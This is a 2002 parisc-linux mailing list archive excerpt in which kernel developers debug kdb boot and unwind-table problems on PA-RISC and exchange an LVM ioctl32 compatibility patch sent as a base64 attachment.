Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEE17482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 05:43:01 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g57Bh4L10436;
	Fri, 7 Jun 2002 07:43:04 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1023378071.3cff8297db5f6@webmail.tiscalinet.be>; from joel.soete@freebel.net on Thu, Jun 06, 2002 at 05:41:11PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15034

Joel,

> Here is the full output:
> Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
> palo_kernel=3/vmlinux-kdb-gcc32'
> Selected kernel: /vmlinux-kdb-gcc32 from partition 3
> ELF32 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 1989640 mediaptr 0x1000
> Segment 1 load 002e6000 size 767080 mediaptr 0x1e7000
> Segment 2 load 003a4000 size 396036 mediaptr 0x2a3000
> Segment 3 load 00408000 size 8192 mediaptr 0x304000
> Segment 4 load 00410000 size 32768 mediaptr 0x306000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> Linux version 2.4.18-pa26 (root@palx2000) (gcc version 3.2 20020530
> (experimental)) #1 Thu Jun 6 16:50:34 CEST 2002
> FP[0] enabled: Rev 1 Model 16
> The 32-bit Kernel has started...
> unwind_init: start = 0x10387405, end = 0x103a1468, entries = 6662
> 
> Stack: 10408600 Cannot find unwind entry for 0x1010c9c0
> 
> Call Trace: 
>         [<1010c880>]
            ^^^^^^^^

> Cannot find unwind entry for 0x1010c9c0
                               ^^^^^^^^^^

Can you find that address in your System.map to verify where that is?
If it's in unwind_table_init then the 'end[-1]' fix might be what is
needed.

 
> Code: 0e a0 10 93 4b d6 3f 91 0a 78 0a 13 6b 53 00 20 0a b6 04 14 
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 00005d00 00000481 00000000 00000002 77e93910 100000f0 00000008 000000b2
> 000000b2
> vers  00000301
> CPUID vers 17 rev 11 (0x0000022b)
> capabilities 0x3
> model 9000/785/B2000
> Total Memory: 256 Mb
> pagetable_init
> On node 0 totalpages: 65536
> zone(0): 65536 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> LCD display at f05d0008,f05d0000 registered
> Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
> palo_kernel=3/vmlinux-kdb-gcc32
> Console: colour dummy device 160x64
> Initialized PDC Console for debugging.
> Calibrating delay loop... 799.53 BogoMIPS
> Memory: 254520k available
> kdb version 2.1 by Scott Lurndal, Keith Owens. Copyright SGI, All Rights Reserved
> Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
> Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
> Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
> Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
> Searching for devices...
>

For some reason device detection becomes bogus and broken with
kdb enabled. So far we've seen SCSI, Serial, PCI/EISA all die with
kdb enabled. Maybe they're not dead and just moving _really_ slowly.

I'm going camping this weekend, so it's anyones game until Monday
afternoon (which I have off too!!) :)

c. 




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Fri, 7 Jun 2002 11:08:20 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20020607110820.C10576@systemhalted>
References: <20020606092115.C6900@systemhalted> <200206061619.g56GJdiE004367@hiauly1.hia.nrc.ca> <20020606145733.C8107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621376 8515 80.91.229.3 (22 Nov 2014 01:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:16 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 09:08:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11E15482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 09:08:25 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g57F8Ki11111;
	Fri, 7 Jun 2002 11:08:20 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020606145733.C8107@systemhalted>; from carlos@baldric.uwo.ca on Thu, Jun 06, 2002 at 02:57:33PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (78% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15035

> > It's definitely dangerous to use array indexes outside the bounds
> > of the array, particularly on the PA.  There can be problems with
> > space register selection, although I wouldn't expect this to be a in
> > the linux kernel.  You can avoid index insns with "-mdisable-indexing".
> > Let me know if you see anything strange in the assembler output.
> > 
> > Dave

The following is the output using gcc 3.0.4.

--- unwind-orig.c       Fri Jun  7 11:01:22 2002
+++ unwind.c    Fri Jun  7 09:23:17 2002
@@ -106,7 +106,7 @@
        table->base_addr = base_addr;
        table->gp = gp;
        table->start = base_addr + start[0].region_start;
-       table->end = base_addr + end[-1].region_end;
+       table->end = base_addr + (--end)->region_end;
        table->table = (struct unwind_table_entry *)table_start;
        table->length = end - start;
        table->next = NULL;

--- unwind-orig.s       Fri Jun  7 11:01:33 2002
+++ unwind.s    Fri Jun  7 09:24:55 2002
@@ -7,22 +7,23 @@
        .CALLINFO FRAME=0,NO_CALLS
        .ENTRY
        stw %r24,12(%r26)
-       ldw -52(%r30),%r21
+       ldw -52(%r30),%r22
        stw %r25,4(%r26)
        stw %r23,8(%r26)
-       ldw 0(%r21),%r19
-       ldw -56(%r30),%r22
+       ldw 0(%r22),%r19
+       ldw -56(%r30),%r20
        addl %r24,%r19,%r19
        stw %r19,16(%r26)
-       sub %r22,%r21,%r20
-       ldw -12(%r22),%r19
-       extrs %r20,27,28,%r20
+       ldo -16(%r20),%r20
+       ldw 4(%r20),%r19
+       sub %r20,%r22,%r21
+       extrs %r21,27,28,%r21
        addl %r24,%r19,%r24
-       stw %r20,28(%r26)
        stw %r24,20(%r26)
+       stw %r21,28(%r26)
        stw %r0,0(%r26)
        bv %r0(%r2)
-       stw %r21,24(%r26)
+       stw %r22,24(%r26)
        .EXIT
        .PROCEND
 .Lfe1:

Aside from some register juggling, the only difference is
that we now use 'ldo,ldw,sub,extrs' instead of 'sub,ldw,extrs'.
The question is: Can this do bad things?

I'll have time on Monday to go through it thoroughly.

c.




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Verify stack trace address - Joel
Date: Fri, 07 Jun 2002 17:07:17 +0200 (CEST)
Lines: 48
Approved: news@gmane.org
Message-ID: <1023462437.3d00cc25b2b82@webmail.tiscalinet.be>
References: <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org> <1023292640.3cfe34e07e65b@webmail.tiscalinet.be> <20020605145928.I29135@systemhalted> <1023378071.3cff8297db5f6@webmail.tiscalinet.be> <20020607074303.B10393@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621377 8520 80.91.229.3 (22 Nov 2014 01:56:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:17 +0000 (UTC)
Cc: joel.soete@freebel.net, Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 09:09:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 024DF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 09:09:00 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GLKh-0002Z7-00; Fri, 07 Jun 2002 17:07:19 +0200
In-Reply-To: <20020607074303.B10393@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15036

Hi C,

Two news (a bad and a good as usual).

I had actually an hardware problem with this test b2000 so that I could not any
more reboot it.
So the bad news is that I could not verify anything right now.

For the good news is that we have maintenance contract and the problem occurs
now during the launch of stm under hpux.

So I can open a call and pieces are already order to repair it Monday.

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> > 
> > Stack: 10408600 Cannot find unwind entry for 0x1010c9c0
> > 
> > Call Trace: 
> >         [<1010c880>]
>             ^^^^^^^^
> 
> > Cannot find unwind entry for 0x1010c9c0
>                                ^^^^^^^^^^
> 
> Can you find that address in your System.map to verify where that is?
> If it's in unwind_table_init then the 'end[-1]' fix might be what is
> needed.
> 

I will check it asap and let you inform

> 
> For some reason device detection becomes bogus and broken with
> kdb enabled. So far we've seen SCSI, Serial, PCI/EISA all die with
> kdb enabled. Maybe they're not dead and just moving _really_ slowly.
> 
> I'm going camping this weekend, so it's anyones game until Monday
> afternoon (which I have off too!!) :)
> 
Have a nice week-end,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 07 Jun 2002 17:31:29 +0200 (CEST)
Lines: 246
Approved: news@gmane.org
Message-ID: <1023463889.3d00d1d18be3e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-MOQ102346388941a5794325967400bcc584b45f0161e6"
X-Trace: ger.gmane.org 1416621377 8522 80.91.229.3 (22 Nov 2014 01:56:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 09:31:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CB4C4834
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 09:31:34 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GLi5-0002n1-00; Fri, 07 Jun 2002 17:31:29 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15037

This message is in MIME format.

---MOQ102346388941a5794325967400bcc584b45f0161e6
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hi all,

Here is attached the patch to uptdate lvm structures in ioctl32.c
(arch/parisc/kernel).

Can somebody check in for me.

I check it (Ok) for 32bit kernel on my b180l.

Patrick,

Don't you see anything else to verify?

Bruno,

Could you see if it compiles now well for 64bits.

Thanks in advance for all,
    Joel

Quoting Patrick Caulfield <patrick@tykepenguin.com>:

> On Fri, Jun 07, 2002 at 09:28:07AM +0200, joel.soete@freebel.net wrote:
> > Quoting joel.soete@freebel.net:
> > 
> > > Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> > > 
> > > ...
> > 
> > > So surprised too ??
> > 
> > Not anymore, in fact all seems already include in ioctl32.
> > 
> > So I just have to find how to compile a 64bits kernel. There should it
> be some
> > hack to bring it works.
> 
> The stuff that's in there is for LVM0.8, whereas LVM 1.0 is in the rest
> of the
> kernel. The structures have changed slightly which is why it won't
> compile ATM.
> 
> patrick
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)

---MOQ102346388941a5794325967400bcc584b45f0161e6
Content-Type: application/octet-stream; name="ioctl32-lvm10.patch"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ioctl32-lvm10.patch"

LS0tIGlvY3RsMzIuYy5vcmlnCUZyaSBKdW4gIDcgMTA6MDE6MDQgMjAwMgorKysgaW9jdGwzMi5j
CUZyaSBKdW4gIDcgMTI6MjU6NDQgMjAwMgpAQCAtNTEsOCArNTEsOCBAQAogI2luY2x1ZGUgPGxp
bnV4L3NlcmlhbC5oPgogI2lmIGRlZmluZWQoQ09ORklHX0JMS19ERVZfTFZNKSB8fCBkZWZpbmVk
KENPTkZJR19CTEtfREVWX0xWTV9NT0RVTEUpCiAvKiBVZ2guIFRoaXMgaGVhZGVyIHJlYWxseSBp
cyBub3QgY2xlYW4gKi8KLSNkZWZpbmUgbWluIG1pbgotI2RlZmluZSBtYXggbWF4CisvKiAjZGVm
aW5lIG1pbiBtaW4KKyNkZWZpbmUgbWF4IG1heCAqLwogI2luY2x1ZGUgPGxpbnV4L2x2bS5oPgog
I2VuZGlmIC8qIExWTSAqLwogCkBAIC0xODA1LDYgKzE4MDUsOCBAQAogCXUzMiBwcm9jOwogCXUz
MiBwdltBQlNfTUFYX1BWICsgMV07CiAJdTMyIGx2W0FCU19NQVhfTFYgKyAxXTsKKyAgICAJdWlu
dDhfdCB2Z191dWlkW1VVSURfTEVOKzFdOwkvKiB2b2x1bWUgZ3JvdXAgVVVJRCAqLworCXVpbnQ4
X3QgZHVtbXkxWzIwMF07CiB9IHZnMzJfdDsKIAogdHlwZWRlZiBzdHJ1Y3QgewpAQCAtMTgzMCw2
ICsxODMyLDcgQEAKIAl1aW50MzJfdCBwZV9zdGFsZTsKIAl1MzIgcGU7CiAJdTMyIGlub2RlOwor
CXVpbnQ4X3QgcHZfdXVpZFtVVUlEX0xFTisxXTsKIH0gcHYzMl90OwogCiB0eXBlZGVmIHN0cnVj
dCB7CkBAIC0xODQwLDkgKzE4NDMsMTYgQEAKIHR5cGVkZWYgc3RydWN0IHsKIAl1MzIgbHZfaW5k
ZXg7CiAJdTMyIGx2OworCS8qIFRyYW5zZmVyIHNpemUgYmVjYXVzZSB1c2VyIHNwYWNlIGFuZCBr
ZXJuZWwgc3BhY2UgZGlmZmVyICovCisJdWludDE2X3Qgc2l6ZTsKIH0gbHZfc3RhdHVzX2J5aW5k
ZXhfcmVxMzJfdDsKIAogdHlwZWRlZiBzdHJ1Y3QgeworCV9fa2VybmVsX2Rldl90MzIgZGV2Owor
CXUzMiAgIGx2OworfSBsdl9zdGF0dXNfYnlkZXZfcmVxMzJfdDsKKwordHlwZWRlZiBzdHJ1Y3Qg
ewogCXVpbnQ4X3QgbHZfbmFtZVtOQU1FX0xFTl07CiAJa2Rldl90IG9sZF9kZXY7CiAJa2Rldl90
IG5ld19kZXY7CkBAIC0xOTExLDcgKzE5MjEsOCBAQAogCWx2X2Jsb2NrX2V4Y2VwdGlvbjMyX3Qg
KmxiZTMyOwogCWx2X2Jsb2NrX2V4Y2VwdGlvbl90ICpsYmU7CiAJbHYzMl90ICp1bCA9IChsdjMy
X3QgKilBKHApOwotCWx2X3QgKmwgPSAobHZfdCAqKWttYWxsb2Moc2l6ZW9mKGx2X3QpLCBHRlBf
S0VSTkVMKTsKKwlsdl90ICpsID0gKGx2X3QgKikga21hbGxvYyhzaXplb2YobHZfdCksIEdGUF9L
RVJORUwpOworCiAJaWYgKCFsKSB7CiAJCSplcnJwID0gLUVOT01FTTsKIAkJcmV0dXJuIE5VTEw7
CkBAIC0xOTc2LDE4ICsxOTg3LDIwIEBACiAJZXJyIHw9IF9fY29weV90b191c2VyKCZ1bC0+bHZf
cmVtYXBfcHRyLCAmbC0+bHZfcmVtYXBfcHRyLAogCQkJCSgobG9uZykmdWwtPmR1bW15WzBdKSAt
ICgobG9uZykmdWwtPmx2X3JlbWFwX3B0cikpOwogCXNpemUgPSBsLT5sdl9hbGxvY2F0ZWRfbGUg
KiBzaXplb2YocGVfdCk7Ci0JZXJyIHw9IF9fY29weV90b191c2VyKCh2b2lkICopQShwdHIxKSwg
bC0+bHZfY3VycmVudF9wZSwgc2l6ZSk7Ci0JcmV0dXJuIC1FRkFVTFQ7CisJaWYgKHB0cjEpCisJ
CWVyciB8PSBfX2NvcHlfdG9fdXNlcigodm9pZCAqKUEocHRyMSksIGwtPmx2X2N1cnJlbnRfcGUs
IHNpemUpOworCXJldHVybiBlcnIgPyAtRUZBVUxUIDogMDsKIH0KIAogc3RhdGljIGludCBkb19s
dm1faW9jdGwodW5zaWduZWQgaW50IGZkLCB1bnNpZ25lZCBpbnQgY21kLCB1bnNpZ25lZCBsb25n
IGFyZykKIHsKLQl2Z190ICp2OworCXZnX3QgKnYgPSBOVUxMOwogCXVuaW9uIHsKIAkJbHZfcmVx
X3QgbHZfcmVxOwogCQlsZV9yZW1hcF9yZXFfdCBsZV9yZW1hcDsKIAkJbHZfc3RhdHVzX2J5aW5k
ZXhfcmVxX3QgbHZfYnlpbmRleDsKLQkJcHZfc3RhdHVzX3JlcTMyX3QgcHZfc3RhdHVzOworCSAg
ICAgICAgbHZfc3RhdHVzX2J5ZGV2X3JlcV90IGx2X2J5ZGV2OworCQlwdl9zdGF0dXNfcmVxX3Qg
cHZfc3RhdHVzOwogCX0gdTsKIAlwdl90IHA7CiAJaW50IGVycjsKQEAgLTE5OTksOTcgKzIwMTIs
MTQ0IEBACiAJc3dpdGNoIChjbWQpIHsKIAljYXNlIFZHX1NUQVRVUzoKIAkJdiA9IGttYWxsb2Mo
c2l6ZW9mKHZnX3QpLCBHRlBfS0VSTkVMKTsKLQkJaWYgKCF2KSByZXR1cm4gLUVOT01FTTsKKwkJ
aWYgKCF2KQorCQkJcmV0dXJuIC1FTk9NRU07CiAJCWthcmcgPSB2OwogCQlicmVhazsKKworCWNh
c2UgVkdfQ1JFQVRFX09MRDoKIAljYXNlIFZHX0NSRUFURToKIAkJdiA9IGttYWxsb2Moc2l6ZW9m
KHZnX3QpLCBHRlBfS0VSTkVMKTsKLQkJaWYgKCF2KSByZXR1cm4gLUVOT01FTTsKLQkJaWYgKGNv
cHlfZnJvbV91c2VyKHYsICh2b2lkICopYXJnLCAobG9uZykmKCh2ZzMyX3QgKikwKS0+cHJvYykg
fHwKLQkJICAgIF9fZ2V0X3VzZXIodi0+cHJvYywgJigodmczMl90ICopYXJnKS0+cHJvYykpIHsK
KwkJaWYgKCF2KQorCQkJcmV0dXJuIC1FTk9NRU07CisJCWlmIChjb3B5X2Zyb21fdXNlcih2LCAo
dm9pZCAqKWFyZywgKGxvbmcpJigodmczMl90ICopMCktPnByb2MpKSB7CisJCQlrZnJlZSh2KTsK
KwkJCXJldHVybiAtRUZBVUxUOworCQl9CisJCS8qICdwcm9jJyBmaWVsZCBpcyB1bnVzZWQsIGp1
c3QgTlVMTCBpdCBvdXQuICovCisJCXYtPnByb2MgPSBOVUxMOworCQlpZiAoY29weV9mcm9tX3Vz
ZXIodi0+dmdfdXVpZCwgKCh2ZzMyX3QgKilhcmcpLT52Z191dWlkLCBVVUlEX0xFTisxKSkgewog
CQkJa2ZyZWUodik7CiAJCQlyZXR1cm4gLUVGQVVMVDsKIAkJfQorCQkgICAgCiAJCWthcmcgPSB2
OwogCQltZW1zZXQodi0+cHYsIDAsIHNpemVvZih2LT5wdikgKyBzaXplb2Yodi0+bHYpKTsKLQkJ
aWYgKHYtPnB2X21heCA+IEFCU19NQVhfUFYgfHwgdi0+bHZfbWF4ID09IEFCU19NQVhfTFYpIHJl
dHVybiAtRVBFUk07CisJCWlmICh2LT5wdl9tYXggPiBBQlNfTUFYX1BWIHx8IHYtPmx2X21heCA+
IEFCU19NQVhfTFYpCisJCQlyZXR1cm4gLUVQRVJNOwogCQlmb3IgKGkgPSAwOyBpIDwgdi0+cHZf
bWF4OyBpKyspIHsKIAkJCWVyciA9IF9fZ2V0X3VzZXIocHRyLCAmKCh2ZzMyX3QgKilhcmcpLT5w
dltpXSk7Ci0JCQlpZiAoZXJyKSBicmVhazsKKwkJCWlmIChlcnIpCisJCQkJYnJlYWs7CiAJCQlp
ZiAocHRyKSB7CiAJCQkJdi0+cHZbaV0gPSBrbWFsbG9jKHNpemVvZihwdl90KSwgR0ZQX0tFUk5F
TCk7CiAJCQkJaWYgKCF2LT5wdltpXSkgewogCQkJCQllcnIgPSAtRU5PTUVNOwogCQkJCQlicmVh
azsKIAkJCQl9Ci0JCQkJZXJyID0gY29weV9mcm9tX3VzZXIodi0+cHZbaV0sICh2b2lkICopQShw
dHIpLCBzaXplb2YocHYzMl90KSAtIDgpOworCQkJCWVyciA9IGNvcHlfZnJvbV91c2VyKHYtPnB2
W2ldLCAodm9pZCAqKUEocHRyKSwKKwkJCQkJCSAgICAgc2l6ZW9mKHB2MzJfdCkgLSA4IC0gVVVJ
RF9MRU4rMSk7CiAJCQkJaWYgKGVycikgewogCQkJCQllcnIgPSAtRUZBVUxUOwogCQkJCQlicmVh
azsKIAkJCQl9Ci0JCQkJdi0+cHZbaV0tPnBlID0gTlVMTDsgdi0+cHZbaV0tPmlub2RlID0gTlVM
TDsKKwkJCQllcnIgPSBjb3B5X2Zyb21fdXNlcih2LT5wdltpXS0+cHZfdXVpZCwKKwkJCQkJCSAg
ICAgKChwdjMyX3QgKilBKHB0cikpLT5wdl91dWlkLAorCQkJCQkJICAgICBVVUlEX0xFTisxKTsK
KwkJCQlpZiAoZXJyKSB7CisJCQkJICAgICAgICBlcnIgPSAtRUZBVUxUOworCQkJCQlicmVhazsK
KwkJCQl9CisKKwkJCQl2LT5wdltpXS0+cGUgPSBOVUxMOworCQkJCXYtPnB2W2ldLT5iZCA9IE5V
TEw7CiAJCQl9CiAJCX0KIAkJaWYgKCFlcnIpIHsKIAkJCWZvciAoaSA9IDA7IGkgPCB2LT5sdl9t
YXg7IGkrKykgewogCQkJCWVyciA9IF9fZ2V0X3VzZXIocHRyLCAmKCh2ZzMyX3QgKilhcmcpLT5s
dltpXSk7Ci0JCQkJaWYgKGVycikgYnJlYWs7CisJCQkJaWYgKGVycikKKwkJCQkJYnJlYWs7CiAJ
CQkJaWYgKHB0cikgewogCQkJCQl2LT5sdltpXSA9IGdldF9sdl90KHB0ciwgJmVycik7Ci0JCQkJ
CWlmIChlcnIpIGJyZWFrOworCQkJCQlpZiAoZXJyKQorCQkJCQkJYnJlYWs7CiAJCQkJfQogCQkJ
fQogCQl9CiAJCWJyZWFrOworCiAJY2FzZSBMVl9DUkVBVEU6CiAJY2FzZSBMVl9FWFRFTkQ6CiAJ
Y2FzZSBMVl9SRURVQ0U6CiAJY2FzZSBMVl9SRU1PVkU6CisJY2FzZSBMVl9SRU5BTUU6CiAJY2Fz
ZSBMVl9TVEFUVVNfQllOQU1FOgotCQllcnIgPSBjb3B5X2Zyb21fdXNlcigmdS5wdl9zdGF0dXMs
IGFyZywgc2l6ZW9mKHUucHZfc3RhdHVzLnB2X25hbWUpKTsKLQkJaWYgKGVycikgcmV0dXJuIC1F
RkFVTFQ7CisJICAgICAgICBlcnIgPSBjb3B5X2Zyb21fdXNlcigmdS5wdl9zdGF0dXMsIGFyZywg
c2l6ZW9mKHUucHZfc3RhdHVzLnB2X25hbWUpKTsKKwkJaWYgKGVycikKKwkJCXJldHVybiAtRUZB
VUxUOwogCQlpZiAoY21kICE9IExWX1JFTU9WRSkgewogCQkJZXJyID0gX19nZXRfdXNlcihwdHIs
ICYoKGx2X3JlcTMyX3QgKilhcmcpLT5sdik7Ci0JCQlpZiAoZXJyKSByZXR1cm4gZXJyOworCQkJ
aWYgKGVycikKKwkJCQlyZXR1cm4gZXJyOwogCQkJdS5sdl9yZXEubHYgPSBnZXRfbHZfdChwdHIs
ICZlcnIpOwogCQl9IGVsc2UKIAkJCXUubHZfcmVxLmx2ID0gTlVMTDsKIAkJYnJlYWs7CisKIAlj
YXNlIExWX1NUQVRVU19CWUlOREVYOgotCQllcnIgPSBnZXRfdXNlcih1Lmx2X2J5aW5kZXgubHZf
